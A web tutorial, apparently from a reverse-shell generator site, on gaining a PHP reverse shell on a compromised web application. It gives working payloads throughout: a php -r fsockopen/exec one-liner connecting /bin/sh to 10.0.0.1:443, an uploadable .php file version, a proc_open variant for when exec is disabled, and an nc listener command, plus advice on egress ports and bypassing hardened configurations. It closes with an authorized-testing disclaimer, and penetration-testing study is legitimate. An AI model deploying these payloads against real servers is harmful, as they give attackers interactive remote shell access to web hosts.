Skip to content
reverseshell

PHP Reverse Shell: From One-Liner to disable_functions

How a PHP reverse shell works on a compromised web app, the fsockopen and proc_open variants, and what to do when exec is disabled.

Published on 3 min read

A PHP reverse shell is what you reach for after turning a web vulnerability — an unrestricted file upload, an LFI that reaches logs, a deserialization bug — into PHP code execution. The web server is already running PHP, so a PHP payload needs no extra interpreter on the box. The friction is different here: it is the hardened PHP configuration, not the language.

The Core One-Liner

php -r '$sock=fsockopen("10.0.0.1",443);exec("/bin/sh -i <&3 >&3 2>&3");'

fsockopen opens a TCP connection to your listener and, conveniently, the new socket lands on file descriptor 3. The exec then launches /bin/sh -i with stdin, stdout, and stderr all redirected to fd 3 (<&3 >&3 2>&3) — so the shell talks over the socket. Listener side is the usual nc -lvnp 443.

When you have written a file to the server (the upload case), the same logic goes in a .php file that you then request in a browser:

<?php $sock=fsockopen("10.0.0.1",443); exec("/bin/sh -i <&3 >&3 2>&3"); ?>

Hitting that URL runs the code as the web server user.

The Real Obstacle: disable_functions

Production PHP is frequently hardened. php.ini often sets disable_functions to block exec, system, shell_exec, passthru, popen, and proc_open. If the one-liner does nothing, that is usually why. Check what is available:

<?php echo ini_get("disable_functions"); ?>

If exec is blocked but proc_open survived, use it:

<?php
$d=array(0=>array("pipe","r"),1=>array("pipe","w"),2=>array("pipe","w"));
$p=proc_open("/bin/sh -i",$d,$pipes);
$s=fsockopen("10.0.0.1",443);
// shuttle bytes between $s and the proc pipes...
?>

When every command-execution function is disabled, a shell-out is off the table and you pivot to PHP-native techniques — reading files, hitting internal services, or abusing a chained primitive — rather than fighting the config. Knowing which functions remain decides the whole approach.

It Runs as www-data, Not root

A PHP reverse shell lands you as the web server user (www-data, apache, nginx), in a non-interactive shell, often inside a container. That is the starting line, not the finish:

Why Yours Isn't Connecting

  1. disable_functions blocks your exec function — check it and switch to proc_open or another approach.
  2. Quoting — PHP payloads delivered through a URL parameter or JSON get double-escaped fast; see payload quoting.
  3. Egress filtered from the server — prefer 443/80.
  4. Listener mismatch — confirm with choosing a listener.

See also why reverse shells fail.

Generate a Clean PHP Payload

The reverse shell generator produces the fsockopen one-liner and file variants with your LHOST/LPORT already in place and the matching listener beside them — so the only thing left to solve is the target's PHP configuration, not the payload syntax.

Authorized Testing Only

Only deploy PHP reverse shells against web applications you own or are explicitly authorized to test. The technique is identical regardless of intent; the authorization is what makes it lawful.

Related articles

How a Local File Inclusion becomes code execution and then a reverse shell — via log poisoning, PHP session files, and php:// wrappers — in authorized web testing.
The difference between a webshell and a reverse shell, why testers often use both, and how each one looks to a defender.
A plain-English explanation of how reverse shells work, why they beat bind shells through firewalls, and how a reverse shell generator saves you from copy-paste mistakes.